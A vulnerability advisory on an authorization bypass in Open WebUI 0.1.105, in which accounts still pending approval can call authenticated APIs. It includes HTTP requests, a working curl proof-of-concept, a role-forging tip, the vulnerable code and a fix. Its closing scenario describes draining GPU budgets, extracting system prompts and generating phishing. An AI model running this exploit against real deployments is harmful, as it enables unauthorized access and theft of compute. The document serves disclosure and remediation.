CVE-2026-44567: Open WebUI: auth bypass gives pending users full LLM access

# **CONFIDENTIAL** # Vulnerability Disclosure Analysis Documentation --- ## Vulnerability Details | # | Field | Value | |---|-------|-------| | 1 | **Discoverer** | Taylor Pennington of KoreLogic, Inc. | | 2 | **Date Submitted** | June 11, 2024 | | 3 | **Title** | Open WebUI Improper Authorization Control | | 5 | **Affected Vendor** | Open WebUI | | 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) | | 7 | **Affected Version(s)** | 0.1.105 | | 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) | | 9 | **Vector** | HTTP web interface | | 10 | **CWE** | 285 Improper Authorization | --- ## 4. High-level Summary There is a missing authorization check affecting user accounts with a `pending` status allowing the user to make authenticated API calls as a `user` context. --- ## 11. Technical Analysis The Open WebUI web application has three user role classifications: `user`, `admin`, and `pending`. By default, when Open WebUI is configured with `new sign-ups` enabled, the default user role is set to `pending`. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either `user` or `admin` before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of `user`. ### Request ```http POST /api/v1/auths/signup HTTP/1.1 Host: openwebui.example.com Content-Length: 60 { "name": "", "email": "bad_guy@korelogic.com", "password": "a" } ``` ### Response ```http HTTP/1.1 200 OK ... { "id": "f839557a-031a-47a5-9999-0b0998f8f959", "email": "bad_guy@korelogic.com", "name": "", "role": "pending", "profile_image_url": "/user.png", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs", "token_type": "Bearer" } ``` An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI. With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the `/ollama/api/tags` endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP `401 Unauthorized` response. ### Request ```http GET /ollama/api/tags HTTP/1.1 Host: openwebui.example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs ``` ### Response ```http HTTP/1.1 200 OK ... { "models": [ { "name": "ollama.com/emsi/mixtral-8x22b:latest", "model": "ollama.com/emsi/mixtral-8x22b:latest", "modified_at": "2024-04-12T17:27:51.479356401-04:00", "size": 79509285991, "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319", "details": { "parent_model": "", "format": "gguf", "family": "llama", "families": ["llama"], "parameter_size": "141B", "quantization_level": "Q4_0" }, "urls": [0] }, ... ] } ``` The logic for this endpoint can be seen here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180> As shown below, the login checks if `url_idx` is `None` and if so, call `get_all_mdoels` and assign the result to `models` after that the logic checks if `app.state.MODEL_FILTER_ENABLED` is true and if not, it returns the result. As `MODEL_FILTER_ENABLED` is not configured by default, the application will not attempt to further validate the user. ```python @app.get("/api/tags") @app.get("/api/tags/{url_idx}") async def get_ollama_tags( url_idx: Optional[int] = None, user=Depends(get_current_user) ): if url_idx == None: models = await get_all_models() if app.state.MODEL_FILTER_ENABLED: if user.role == "user": models["models"] = list( filter( lambda model: model["name"] in app.state.MODEL_FILTER_LIST, models["models"], ) ) return models return models ``` This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user. The vulnerability is caused by a missing authorization check that occurs with `user=Depends(get_current_user)`. The logic of that function is found here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97> ```python def get_current_user( auth_token: HTTPAuthorizationCredentials = Depends(bearer_security), ): # auth by api key if auth_token.credentials.startswith("sk-"): return get_current_user_by_api_key(auth_token.credentials) # auth by jwt token data = decode_token(auth_token.credentials) if data != None and "id" in data: user = Users.get_user_by_id(data["id"]) if user is None: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.INVALID_TOKEN, ) return user else: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.UNAUTHORIZED, ) ``` As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid. --- ## 12. Proof-of-Concept First, verify that an unauthenticated user receives `{"detail":"401 Unauthorized"}`: ```bash curl -s -X $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ $'https://openwebui.example.com/ollama/api/tags' ``` The above curl command will return: `{"detail":"401 Unauthorized"}` as no Authorization Bearer token is provided. Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the `$JWT` environment variable which will be utilized in the subsequent cURL command. ```bash export JWT=$(curl -s -X POST \ -H 'Host: openwebui.example.com' -H 'Content-Length: 60' \ -H 'Content-Type: application/json' \ --data '{"name":"","email":"bad_guy@korelogic.com","password":"a"}' \ 'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"') curl -v $'GET' \ -H $'Host: openwebui.example.com' \ -H $'Content-Type: application/json' \ -H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'https://openwebui.example.com/ollama/api/tags' ``` Additionally the `"role":"pending"` value in the HTTP response can be forged from `POST /api/v1/auths/signin` and `GET /api/v1/auths/` to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying `pending` to `user`. --- ## 13. Mitigation Recommendation The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116> for the correct function to use. ```python def get_verified_user(user=Depends(get_current_user)): if user.role not in {"user", "admin"}: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.ACCESS_PROHIBITED, ) return user ``` Modify all authenticated endpoints to utilize `get_verified_user()` function instead of `get_current_user()`.

An attacker discovers a publicly accessible Open WebUI instance via Shodan or passive DNS reconnaissance. They POST to /api/v1/auths/signup with any email and receive a JWT in the response bearing role=pending. Rather than waiting for admin approval (which is the intended workflow), they immediately use the JWT to call GET /ollama/api/tags, enumerate all loaded models including a 141B parameter Mixtral instance, and begin sending inference requests. In a cost-harvesting scenario, they run batch queries continuously to drain the organization's GPU budget. In a more targeted attack, they use LLM access to extract system prompt configurations, generate phishing content impersonating the victim organization, or probe for RAG-connected data sources through carefully crafted prompts.